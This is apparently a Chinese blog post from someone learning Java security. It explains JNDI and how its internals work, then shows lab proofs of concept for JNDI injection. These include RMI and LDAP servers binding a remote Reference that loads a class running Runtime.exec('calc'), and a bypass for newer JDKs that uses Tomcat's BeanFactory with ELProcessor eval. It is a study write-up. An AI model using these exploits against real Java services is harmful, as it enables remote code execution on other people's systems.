java反序列化之jndi

引用

Java安全学习——JNDI注入

JNDI

概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口。JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务目录服务,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。简单来说,开发人员通过合理的使用JNDI,能够让用户通过统一的方式访问获取网络上的各种资源和服务。如下图所示

img

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址。这些都可以叫做命名服务。

例子:DNS(域名系统)

  • 场景:当你在浏览器中输入 www.google.com 时,浏览器需要知道这个域名对应的 IP 地址才能访问网站。
  • 命名服务的作用
    • DNS 将域名(名称)映射到 IP 地址(对象)。
    • 例如:
      • 名称:www.google.com
      • 对象:142.250.190.78(Google 的 IP 地址)
  • 类比
    • 就像你通过电话簿查找“张三”的名字,找到他的电话号码一样。

在命名服务中,有几个重要的概念。

  • Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件。
  • Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
  • References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

目录服务(Directory Service)

简单来说,目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。

一些常见的目录服务有:

  • LDAP: 轻型目录访问协议
  • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
  • 其他基于 X.500 (目录服务的标准) 实现的目录服务;

例子:LDAP(轻量级目录访问协议)

  • 场景:公司内部有一个员工信息目录,你需要查找某个员工的详细信息。
  • 目录服务的作用
    • LDAP 不仅可以通过员工姓名找到对应的员工对象,还可以查询该员工的属性(如职位、邮箱、电话等)。
    • 例如:
      • 名称:cn=张三,ou=研发部,dc=公司,dc=com
      • 对象:员工“张三”的信息。
      • 属性:
        • 职位:职位=软件工程师
        • 邮箱:邮箱=zhangsan@company.com
        • 电话:电话=123456789
  • 类比
    • 就像你通过员工管理系统查找“张三”,不仅能找到他的联系方式,还能看到他的职位、部门等详细信息。

JNDI SPI

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示

img

SPI(Service Provider Interface),即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。

JDK 中包含了下述内置的命名目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户无需重复修改代码。

JNDI代码示例

JNDI 接口主要分为下述 5 个包:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

JNDI_RMI

JDK版本为JDK8u_65

首先在本地起一个RMI服务(我用的还是自己学习rmi时候的例子,感兴趣的可以自己去翻一下前面的文章)

上面的目的是为了创建一个注册表

在这之后,文件JNDIRMIServer的代码如下

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
// InitialContext 是 JNDI 的入口点,用于连接到命名服务(如 RMI 注册表、LDAP 等)
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}

文件JNDIRMIClient代码如下:

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

两文件都运行后,客户端成功执行了sayHello方法

JNDI_DNS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class JNDI_DNS {
public static void main(String[] args) {
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://192.168.43.1");

try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("goodapple.top", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}

}
}

运行结果如下:
image-20250205202929374

JNDI的工作流程

在上文,我们通过JNDI成功地调用了RMI和DNS服务。那么对于JNDI来讲,它是如何识别我们调用的是何种服务呢?这就依赖于我们上面提到的Context(上下文)了。

初始化Context

我以RMI服务为例

1
2
3
4
5
6
7
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

//初始化上下文
Context initialContext = new InitialContext(env);

首先使用Hashtable类来设置属性*INITIAL_CONTEXT_FACTORY**PROVIDER_URL*的值。可以看到,这里我们将*INITIAL_CONTEXT_FACTORY*设置为了"com.sun.jndi.rmi.registry.RegistryContextFactory",JNDI正是通过这一属性来判断我们将要调用何种服务。

接着我们将属性PROVIDER_URL设置为了"rmi://localhost:1099",这正是我们RMI服务的地址。JNDI通过该属性来获取服务的路径,进而调用该服务。

最后向InitialContext类传入我们设置的属性值来初始化一个Context,于是我们就获得了一个与RMI服务相关联的上下文Context

当然,初始化Context的方法多种多样,我们来看一下InitialContext类的构造函数

1
2
3
4
5
6
7
8
//构建一个默认的初始上下文
public InitialContext();

//构造一个初始上下文,并选择不初始化它。
protected InitialContext(boolean lazy);

//使用提供的环境变量初始化上下文。
public InitialContext(Hashtable<?,?> environment);

所以我们还可以用如下方式来初始化一个Context

1
2
3
4
5
6
//设置JNDI环境变量
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");

//初始化上下文
InitialContext initialContext = new InitialContext();

通过Context与服务交互

和RMI类似,Context同样通过以下五种方法来与被调用的服务进行交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//将名称绑定到对象
bind(Name name, Object obj)

//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
list(String name)

//检索命名对象
lookup(String name)

//将名称重绑定到对象
rebind(String name, Object obj)

//取消绑定命名对象
unbind(String name)

JNDI底层实现

上下文的初始化

我们通过JNDI来设置不同的上下文,就可以调用不同的服务。那么JNDI接口是如何实现这一功能的呢?这里我们仍以JNDI_RMI为例,我们从上下文的初始化开始。

JNDI_RMI代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class JNDI_RMI {
public static void main(String[] args) throws Exception {
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
}
}

获取工厂类

我们来调试一下

image-20250205205410974

InitalContext#InitalContext()中,通过我们传入的HashTable进行init

跟进该方法中,可以发现就是根据我们输入的环境变量进行的初始化

image-20250205210004771

继续跟进init方法中,步入getDefaultInitCtx()方法

image-20250206163352740

继续跟进,最终跟到NamingManager#getInitialContext()

image-20250206163500323

image-20250206163639934

这里首先通过getInitialContextFactoryBuilder()初始化了一个InitialContextFactoryBuilder类。如果该类为空,则将className设置为*INITIAL_CONTEXT_FACTORY*属性。还记得该属性是什么吗?就是我们手动设置的RMI上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory

继续往下走

image-20250206163826936

这里通过loadClass()来动态加载我们设置的工厂类。最终调用的其实是RegistryContextFactory#getInitialContext()方法,通过我们的设置工厂类来初始化上下文Context

现在我们知道了,JNDI是通过我们设置的*INITIAL_CONTEXT_FACTORY*工厂类来判断将上下文初始化为何种类型,进而调用该类型上下文所对应的服务。调用链如下

image-20250206163917467

获取服务交互所需资源

现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?我们接着上文,跟到RegistryContextFactory#getInitialContext()

image-20250206164507418

image-20250206164544101

其中的参数var1其实就是我们自己设的环境变量,跟进getInitCtxURL()

image-20250206164805437

JNDI通过我们设置的*PROVIDER_URL*环境变量来获取服务的路径,接着在URLToContext()方法中初始化了一个rmiURLContextFactory类,并根据服务路径来获取实例。

回去之后我们跟进URLToContext方法

image-20250206165003851

然后继续跟进getObjectInstance方法

image-20250206165307864

再跟进到getUsingURL方法中

image-20250206165431582

调用了lookup()方法,跟进去

image-20250206165845675

继续跟进lookup方法,跟到RegistryContext#lookup()中,根据上述过程中获取的信息初始化了一个新的RegistryContext

image-20250206165944902

可见,在最终初始化的时候获取了一系列RMI通信过程中所需的资源,包括RegistryImpl_Stub类、pathport等信息。如下图

image-20250206170044414

JNDI在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。

各种调用链如下

image-20250206170119747

JNDI动态协议转换

上面两个例子中,我们手动设置了属性*INITIAL_CONTEXT_FACTORY**PROVIDER_URL*的值来对Context进行初始化。通过对Context的初始化,JNDI能够识别我们想调用何种服务,以及服务的路径。

但实际上,在 Context#lookup()方法的参数中,用户可以指定自己的查找协议。JNDI会通过用户的输入来动态的识别用户要调用的服务以及路径

我们来进行调试

image-20250206171413512

要注意的是我们不管调用的是lookup、bind或者是其他initalContext中的方法,都会调用getURLOrDefaultInitCtx()方法进行检查

image-20250206171608058

跟进getURLOrDefaultInitCtx()方法,会通过getURLScheme()方法来获取通信协议,比如这里获取到的是rmi协议

image-20250206171709081

接着跟据获取到的协议,通过NamingManager#getURLContext()来调用getURLObject()方法

image-20250206171905770

最终在getURLObject()方法中,根据*defaultPkgPrefix*属性动态生成Factory

image-20250206171952131

我们看一下JNDI默认支持那些动态协议转换。当我们针对JNDI进行攻击的时候可以优先考虑以下几种服务

img

通过动态协议转换,我们可以仅通过一串特定字符串就可以指定JNDI调用何种服务,十分方便。但是方便是会付出一定代价的。对于一个系统来讲,往往越方便,就越不安全。

假如我们能够控制string字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的”远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。

JNDI Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。

这听起来是不是有点像RMI中Codebase的功能?当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类。

Reference类常用构造函数如下

1
2
3
4
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问。

JNDI Reference 的作用

  • 存储对象引用
    • 在命名服务中存储对象的引用信息,而不是对象本身。
  • 延迟加载
    • 对象只有在客户端查找时才会被创建。
  • 跨网络传递
    • 适用于需要跨网络传递对象的情况(如 RMI、LDAP 等)。

JNDI注入

JNDI+RMI

第一种

上面客户端调用远程方法的时候感觉和原本的RMI是一样的,那么它是不是借助了原生的RMI来实现,如果是的话,那么整个过程也是通过序列化反序列化来实现的,那么我们之前说的攻击RMI的那些攻击方法是不是同样也可以用在这里了

我们下面来调试看看

image-20250201213428134

强制步入lookup方法

image-20250201214029488

继续步入lookup方法

image-20250201214253073

继续步入lookup方法

image-20250201214323542

可以发现我们调用的就是原生RMI的lookup方法,这是在文件RegistryContext中的,但我们最开始创建的是InitialContext,它会根据我们传进去的参数中协议的不同来调用不同的Context来处理

也就是说只要代码IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://localhost:1099/remoteObj");中lookup方法的参数是可控的话,那么我们就可以让其直接加载我们的恶意类来成功实现攻击

当然这不是传统的JNDI注入,下面我们来讲讲传统的注入方法

第二种

传统的是利用Reference类来实现的

JNDIRMIServer代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
// InitialContext 是 JNDI 的入口点,用于连接到命名服务(如 RMI 注册表、LDAP 等)
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
Reference refObj = new Reference("T", "T", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", refObj);
}
}

其中的类T内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;

public class T {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public T() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

将其编译后的文件移到不同文件夹下,删除T.java文件,然后用python起一个服务

image-20250201221310090

这个时候服务端就可以正常运行,rebind方法可以正常进行绑定,客户端再运行的话就会弹出计算器

JNDIRMIClient代码如下:

1
2
3
4
5
6
7
8
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/remoteObj");
}
}

当然我们可以来调试一下,看看这个过程是怎么样的

image-20250205194826795

前面几步都是一样的,走到lookup函数后继续往下走

image-20250205195041752

下面有一个decodeObject方法,这个方法的作用是用来解码从远程服务器接收到的对象,将其解码为本地的可用对象

  • 如果对象是一个远程引用(RemoteRef),decodeObject 会将其解码为远程代理对象。
  • 如果对象是一个普通对象,decodeObject 会直接返回该对象

我们跟进该方法中

image-20250205195523944

这里的重点是getObjectInstance方法,我们跟进去,一直往下走到这里

image-20250205200244024

我们也跟进去,可以看到首先是进行了本地类加载,在本地查找是否存在类T,但是我们知道当然是没有的,所以这里肯定还是null

image-20250205200400497

没事,我们继续往下走

image-20250205200620804

可以自己跟进去看看codebase的值是什么–是我们之前起的远程服务器的地址

image-20250205200714718

出去后继续往下走,又开始了通过loadCLass方法进行类加载,不过这次是远程类加载,从我们的远程服务器上面来获取相关类

image-20250205200817146

走完这一步后就成功弹窗了,loadClass方法谈的计算器是静态代码块中的

image-20250205201000855

再往下走,走完这一步后也会弹一个计算器出来,newInstance方法是通过反射动态创建对象实例,这个时候会调用构造方法,会执行其中的弹计算器的命令

image-20250205201048268

要注意,两个计算器弹出来的原因是不一样的

JNDI+LDAP

LDAP简介

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。

在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下

1
2
3
4
5
6
dn :一条记录的详细位置
dc :一条记录所属区域 (哪一颗树)
ou :一条记录所属组织 (哪一个分支)
cn/uid:一条记录的名字/ID (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的“基准DN"。

假设你要树上的一个苹果(一条记录),你怎么告诉园丁它的位置呢?当然首先要说明是哪一棵树(dc,相当于MYSQL的DB),然后是从树根到那个苹果所经过的所有“分叉”(ou),最后就是这个苹果的名字(uid,相当于MySQL表主键id)。

当然,我们也可以使用LDAP服务来存储Java对象,如果我们此时能够控制JNDI去访问存储在LDAP中的Java恶意对象,那么就有可能达到攻击的目的。LDAP能够存储的Java对象如下

  • Java 序列化
  • JNDI的References
  • Marshalled对象
  • Remote Location

8u121之后上面的方法便行不通了

8u191之前可以使用ldap来进行绕过


注入

首先我们先下载一个软件来专门起LDAP服务:https://directory.apache.org/studio/download/download-windows.html

该软件所需的JDK版本是11,但是要在11.0.25以下(亲测11.0.25不行)

在软件中新起一个服务并新建一个连接后如下所示:
image-20250209205528018

JNDILDAPServer文件代码如下:

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDILDAPServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("T", "T", "http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj);
}
}

代码中的cn值任取

至于为什么端口号是10389主要是因为配置中LDAP服务端口的默认设置

image-20250209210616574

运行后会更新成如下所示:
image-20250209211212626

可以看到我们的类绑上去了,所以我们就可以直接在客户端上面进行查询了

JNDILDAPClient文件代码如下:

1
2
3
4
5
6
7
8
import javax.naming.InitialContext;

public class JNDILDAPClent {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

运行后便会弹出计算器

image-20250209211733790

接下来我们可以调试一下是怎么导致的,同样是调lookup函数

前面一部分自己去调试,然后会走到这个比较重要的文件这里

image-20250209214618514

该函数比较种重要的地方也是下面的decodeObject函数

image-20250209212959563

var4就是从LDAP服务器上面获取到的属性,那么下一步就是要解析这些属性,所以我们跟进去

image-20250209220242507

从函数的具体内容里面我们也可以看到如果说取回来的字段代表的是序列化的,那就调用第一个if中的方法,如果是远程对象的话就调用第二个if中的,如果是引用的话,就是调用else中的decodeReference方法,通过该方法就把引用给解出来了,也就相当于获取到了我们绑定的reference

image-20250209221122663

下一步就和上面的一样,要根据该reference来查找远程地址里面的恶意类

往下走就到了这里

image-20250209221338711

很熟悉了吧,我们接着跟进去,走到这里

image-20250209221533582

剩下的和之前的是一样的,感兴趣继续跟进去,这里就不一一赘述了

高版本绕过

在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly的值必须为false。但是从JDK 6u457u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true

JNDI同样有类似的限制,在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。如下所示

1
2
3
4
5
6
7
8
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at JNDI_Dynamic.main(JNDI_Dynamic.java:7)

Process finished with exit code 1

JNDI_LDAP_Reference限制

但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.18u1917u2016u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值同样被修改为了false,对应的CVE编号为:CVE-2018-3149

源码分析

这里我们以RMI服务为例

这里用的版本是8u251

可以发现当我们运行客户端之后既没有报错也没有弹计算器,我们可以调试着看一下是修改了哪些地方,同样是调lookup方法

前面的流程都是一样的,我们直接快进到下面这一步

image-20250211202249942

跟进该方法中,该方法之前说过会先进行本地类加载,加载不到之后再到codebase中进行加载,所以我们现在就看一下在codebase中时怎么进行加载的

image-20250211202528669

我们可以看到这里面多加了一个判断:"true".equalsIgnoreCase(trustURLCodebase),只有当这个为true的时候才能够从远端进行类加载

而trustURLCodebase默认为false,所以显然是进入不到if中的,会return null,也不会报错

因此类也就加载不出来,自然也就弹不了计算器了

回顾一下这个过程,我们知道引用还是可以正常加载出来的,但是通过引用来远程加载工厂类的(也就是factory)时候就行不通了

那么这个时候我们的思路就是要找找可以本地加载出来的工厂类,也要比较经常用的

绕过方法

使用本地的Reference Factory类

8u191后已经默认不允许加载codebase中的远程类,但我们可以从本地加载合适Reference Factory

需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,并且该工厂类至少存在一个getObjectInstance()方法

Tomcat8

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。

org.apache.naming.factory.BeanFactorygetObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

服务端和客户端加载依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>

在该类中也有一个getObjectInstance方法,因此在上面进行到:factory.getObjectInstance一行时就会走到该文件中

该方法重点就在于有一个反射调用

image-20250211210203368

由于是从根源上绕过,所以无论是起一个rmi还是ldap服务都是可以的,下面起的是rmi服务

先开一个注册中心

服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;

public class JNDIRMIServerBypass {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteObj", ref);
}
}

客户端代码:

1
2
3
4
5
6
7
8
import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/remoteObj");
}
}

执行了之后会弹出计算器

也就是说如果高版本有依赖Tmocat8的环境来的话,我们就可以通过这种方法来进行绕过